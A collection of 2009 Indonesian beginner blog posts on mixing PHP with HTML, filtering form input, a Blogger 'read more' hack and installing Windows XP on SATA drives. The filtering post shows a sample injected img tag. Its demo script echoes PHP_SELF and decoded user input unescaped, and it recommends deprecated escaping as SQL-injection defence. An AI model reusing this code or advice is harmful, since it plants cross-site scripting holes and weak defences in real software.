Langsung saja ke pokok permasalahan.

Kamu tentu sering membuat file PHP malalui Dreamweaver.
dan bila terlihat sekilas, kebanyakan orang mengira bahwa PHP yang numpang di HTML karena banyaknya coding HTML ketimbang PHP, misalnya pada form inputindentitas.php
kita cuma membuat tag php yang berisikan pesan jika inputannya salah (GET).

Setelah saya pahami (dapet pencerahan dari teman jg ne hee...), selama file tersebut ber ekstensi .php , maka yang numpang tuh HTML atau JavaScript.
Jadi kita bisa memasukkan fungsi PHP dimana saja pada file yang ber ekstensi .php
misalnya seperti ini, buat sebuah file dengan nama coba.php lalu tuliskan seperti ini:

<?php
$a = 0;
$b ="belajar lagi";
if ($a==1):?>
benar
<?php else : ?>
salah
<?php endif; ?>
<br><br>Nama<br>
<input name="nama" type="text" value="belajar lagi" <?php if($a == 0){echo"readonly=readonly"; }?>>

coba dah ditebak apa yang tampil pada browser ???????
ternyata yang tampil adalah "salah"
Lho koq bisa...??? Padahal kalimat salah itu nggak pake echo ????
dan ternyata itulah kenyataanya.

Dan yang lebih nggak tau nya lagi, pada fungsi HTML seperti untuk menampilkan textfield, listmenu, combobox dll juga bisa disisipkan coding PHP walaupun tag nya belum ditutup.
Seperti contoh diatas, pada textfield Nama, jika variabel a=0 maka textfield tersebut akan di beri attribut readonly (cuma bisa di baca, nggak bisa di ubah).

Saya sendiri juga baru nemu bahwa PHP juga bisa di kolaborasikan dengan javaScript selama file itu ber Ekstensi .php jadi diantara function nya milik javaScript, kita bisa memasukkan coding PHP yang kita inginkan (sebelumnya sih udah kepikiran tapi lum pernah dicoba).
dan joomla memakai gaya seperti diatas pada file index.php di template web nya (hampir sama gaya nya seperti coding diatas).

Perlu banyak belajar lagiiiiiiii....
dan tak hentilah saya memohon kepada My Lord... ALLAH SWT yang Maha atas Segala nya agar saya selalu dijauhkan dari sifat sombong, angkuh, tinggi hati, kikir dan semua kegemaran setan lainnya.
karena hanya karena Nya lah saya masih di berikan kesempatan untuk terus belajar dan sharing.
Anywhere, anytime and anyone....

Rabu, 11 Maret 2009

Fungsi untuk Filter HTML dan PHP

Di PHP ada beberapa fungsi yang disediakan untuk memfilter form input yang kita miliki dari fungsi html atau php itu sendiri, istilahnya Jeruk makan Jeruk lah hee..
Kalo katanya sih PHP Injection, bayangkan kalo kita tidak memfilter inputan dari user.

Misalanya pada form input buku tamu, ada seorang user nakal yang mengisi di teks filed komentar kita seperti ini : "komentar saya adalah <img src=http://photogallery.com/sexygirl.php> "

maka akan tampillah photo sexygirl tersebut pada buku tamu kita. atau lebih parah lagi kalo user mamsukkan perintah PHP/Query Sql seperti untuk menghapus atau mengubah query dan bla..bla..nya... waduuuhhh, bisa mampus dah....

Nah, untungnya di php ada fungsi untuk mengatasi permasalahan tersebut antara lain yaitu :
1. htmlentities
2. htmlspecialchars
3. strip_tags
4. mysql_real_escape_string
cara memakai ke tiga fungsi tersebut sama, tapi mempunyai fungsi yang cukup berbeda.

contohnya, buat satu file dengan nama filter.php lalu tuliskan seperti ini:
<?php
$text = '<a href=index.php>belajar</a> <?php echo " inject ah"; ?>';
$a = htmlentities($text);
$b = htmlspecialchars($text);
$c = strip_tags($text);
echo $a;
echo "<br>";
echo $b;
echo "<br>";
echo $c;
?>

maka akan menghasilkan output seperti ini :
<a href=index.php>belajar</a> <?php echo " inject ah"; ?>
<a href=index.php>belajar</a> <?php echo " inject ah"; ?>
belajar

Perbedaan antara htmlentities dan strip_tags menurut saya, strip-tags membersihkan semua coding html/php dan hanya menampilkan teks biasa sedangkan htmlentities dan htmlspecialchars akan menjadikan coding html/php menjadi seperti teks biasa, tidak membersihkan nya seperti yang dilakukan oleh si strip_tags.

Pada htmlentities dan htmlspecialchars fungsi html/php akan di ubah menjadi quote
seperti ini :
$text = '&lt;a href=index.php&gt;belajar&lt;/a&gt; &lt;?php echo &quot;inject ah&quot;; ?&gt;';<br />

Hal ini akan terlihat ketika kita menfilter input dan memasukkan data yang sudah terfilter tersebut ke dalam database. Perbedaannya antara htmlentities dan htmlspecialchars adalah karakter quote style yang didukungnya.

Fungsi ini bisa dipakai, misalnya seperti ini:
$komentar = htmlentities(strip_tags($_POST['komentar']));
atau pada get juga bisa :
$id = htmlentities(strip_tags($_GET['komentar']));

dan untuk menghindari Sql Injection bisa memakai.
mysql_real_escape_string
jadinya seperti ini:
$id = mysql_real_escape_string(htmlentities(strip_tags($_POST['komentar'])));
mysql_real_escape_string akan memberikan slash (\) jika terdapat kutip (') yang biasa dipakai untuk mengecek vulner Sql Injection.

Untuk mengembalikan hasil convert htmlentities atau htmlspecialchar kita bisa memakai fungsi:
1. htmlspecialchars_decode
2. html_entity_decode
cara memakainya pun sama seperti diatas.

Saya membuat sebuah form untuk conversi html/php yang memudahkan saya ketika saya ingin menuliskan artikel yang berisi syntax PHP/HTML di blog.
kira-kira seperti yang saya buat.
pertama saya buat classFilter.php (lagi belajar OOP neh)..

<?php
//membuat classFilter
class classFilter
{
//fungsi untuk encode
function encodeHtml($text)
{
$text = htmlspecialchars($text);
//kembalikan nilai variabelnya
return $text;
}
//fungsi untuk decode
function decodeHtml($text)
{
$text = htmlspecialchars_decode($text);
//kembalikan nilai variabelnya
return $text;
}
}
?>

trus saya buat file encode.php seperti ini :

<?php
//memanggil classFilter.php
require_once "classFilter.php";
?>
<!-- By : a3m.nix.blogspot.com !-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Encode + Decode</title>
</head>
<body>
<form id="form1" name="form1" method="POST" action="<?php echo "$_SERVER[PHP_SELF]";?>">
TEXT/HTML
<p>
<textarea name="text" cols="120" rows=5></textarea>
</p>
<input name="c" type="radio" value="encode" />&nbsp;Encode
<input name="c" type="radio" value="decode" />&nbsp;Decode<br>
<p>
<input type="submit" name="Submit" value="Submit" >
</p>
</form>
<p>&nbsp; </p>
</body>
</html>
<?php
//ambil data post
$text = $_POST['text'];
$c = $_POST['c'];
//membuat objek dari classFilter
$ofilter = new classFilter();
//jika user memilih encode
if ($c == "encode")
{
//memanggil fungsi encode yang terdapat di classFilter
$hasil = $ofilter->encodeHtml($text);
//encode lagi memakai fungsi htmlspecialchars
$hasil = htmlspecialchars($hasil);
}
//jika user memilih decode
else if ($c == "decode")
{
//memanggil fungsi untuk mengembalikan conversi html/php
$hasil = $ofilter->decodeHtml($text);
}
else
{
//jika tidak dipilih
$hasil = "Choose dulu dunk...!!!";
}
//menampilkan hasilnya ke dalam textarea
echo "<b>Output $c</b>
<br><textarea name=text cols=120 rows=15 readonly=readonly>$hasil</textarea>";
?>

Jadi dah, tinggal dipake aja kalo saya ingin menulis artikel yang terdapat tag html/php di blog saya seperti diatas, saya nggak perlu pake dreamweaver lagi.

Pada Script diatas saya melakukan 2x encode, pertama di classFilter yang kedua di file encode.
Ketika saya mencoba encode sekali trus langsung di tampilkan maka htmlentities atau htmlspecialchars hanya akan menampilkan syntax html/php apa adanya, tidak mengkonversi syntax tsb menjadi karakter quote style, tapi pada kasus menyimpan ke database, tidak perlu sampai 2x encode, cukup sekali saja udah mau, mungkin ada pengaturan pada webserver saya yang perlu diubah atau masih ada yang salah pada coding saya (beginner ne ).

Contoh file nya bisa diambil di sini.
atau http://www.ziddu.com/download/3823062/encode.rar.html
Selamat mencoba...

Selasa, 03 Maret 2009

Membuat Read more atau Baca selanjutnya...

Membuat Read more di blog
Login ke blog kamu lalu pilih Tata letak.
pilih Edit HTML dan beri centang pada expand template widget
masukkan script di bawah ini :
masukkan script berikut sebelum </head> .
atau lebih tepat sesudah script } ]]></b:skin>
Scriptnya :

<style>
<b:if cond='data:blog.pageType == "item"'>
span.fullpost {display:inline;}
<b:else/>
span.fullpost {display:none;}
</b:if>
</style>


agar posting terpotong cari kode ini :
<p><data:post.body/></p>

Jika sudah ketemu , tambahkan script berikut di bawahnya :

<b:if cond="data:blog.pageType != &quot;item&quot;">
<a href="data:post.url"> baca selanjutnya..</a>
</b:if>

Setelah itu simpan template tersebut.

Setiap kali menuliskan artikel, tambahkan <span class="fullpost"> pada bagian artikel yang ingin menampilkan tulisan "baca selanjutnya.." lalu akhiri artikel dengan </span>
misalnya seperti ini:

membuat read more di blog ternyata nggak susah susah amat,
caranya seperti ini <span class="fullpost"> pertama login
ke blog kamu dan masukkan script ini pada tata letak, edit html
bla..blaa..blaa... </span>

Perlu diperhatikan, jika terdapat tag span lain <span></span> pada artikel kamu (kalo nulisnya nggak di edit html), biasanya read more nya nggak akan nampil.
Jadi saran saya, cek dahulu artikelnya pada Edit HTML, kalo ada tag span, ganti aja dengan yang lain misalnya memakai div atau biasakan menulis artikel di Edit HTML biar sekalian belajar HTML dikit-dikit.
selamat mencoba..

Senin, 02 Maret 2009

Instalasi Windows XP di Acer E500 (Harddisk Sata)

Cara instal windows xp di Acer e500. wuih abis bener dah di kerjai sama PC Desktop Acer E500,menggunakan harddisk sata raid, pas waktu mau instal Windows Xp, harddiskny nggak mau detect.
Sudah begadang abis-abisan akhirnya bisa juga.
Yang saya ketahui, cara instalasi WIndows xp di harddisk sata Acer E500 ada 2 yaitu :
  • Instal driver nya melalui Floppy disk pada saat windows xp sedang loading driver
  • Masukkan driver nya ke dalam CD xp tersebut melalui Software Nlite.

Untuk cara yang pertama :
1. Download dulu driver nya di sini
2. Extract dan Copy driver tersebut ke dalam Floppy disk (Disket).
3. Masukkan disket yang berisi driver sata tersebut.
hidupkan komputernya dan boot ke cd dan masukkan cd windows xp seperti biasa.
setelah konfirmasi Press any key to continue boot from cd tekan F6 di keyboard agar kita menuju pada instalasi sata driver terlebuh dahulu. Tekan "S" maka kita akan diminta untuk memasukkan disket yang berisi driver yang ingin di install dan Enter. maka Windows akan meload driver sata anda yang berada di disket ke memory,dan andapun bisa mengInstall Windows xp seperti biasa.

Untuk cara yang kedua :
1. download driver sata lalu ekstrak
2. copy semua file yang ada di cd windows xp ke Drive anda, misalny di D:\winxp
3. Download software Nlite di sini.
4. kamu membutuhkan Microsoft Framework 2.0 untuk bisa menginstall software nlite yang bisa didownload disini.
5. lalu install software nlite.
6. setelah itu, jalankan programnya, klik next.
7. Browser direktory windows xp seperti di gambar.

lalu klik next hingga tampilan seperti ini:

Pilih driver dan bootable seperti digambar (kalo udah di klik, navigasi bullet akan berwarna hijau ).
klik insert lalu pilih Multiple driver Folder, cari folder hasil ekstrak driver sata tadi.
lalu pilih driver yang di inginkan misal: windows xp

setelah itu next, dan pilih yes pada Do you wan to start this progres ? lalu setting untuk langsung burning ke cd seperti ini:

kalo langkah-langkah diatas sudah kamu ikuti dengan benar maka kamu bisa memulai instalasi windows xp seperti biasa dengan CD hasil burning dari Nlite .
SB (Sekedar nambahin hee..) Jangan mencoba di virtual mesin seperti Vbox, Vmware, qemu dll seperti dengan cara membuat image xp terlebih dahulu, karena saya begadang sampe pagi gara-gara mencoba XP nya terlebih dahulu melalui software virtual machine seperti itu.
Gunakan CD-RW, kalo nggak ada beli aja dulu daripada pake CD-R biasa, ntar kalo salah
driver nya kan sayang tuh CD nya.
semoga berhasil..
o ya, ada yang lupa, sebelum memulai awali terlebih dahulu dengan berdo'a biar lebih oke.
langsung di praktekkan ke PC nya yow...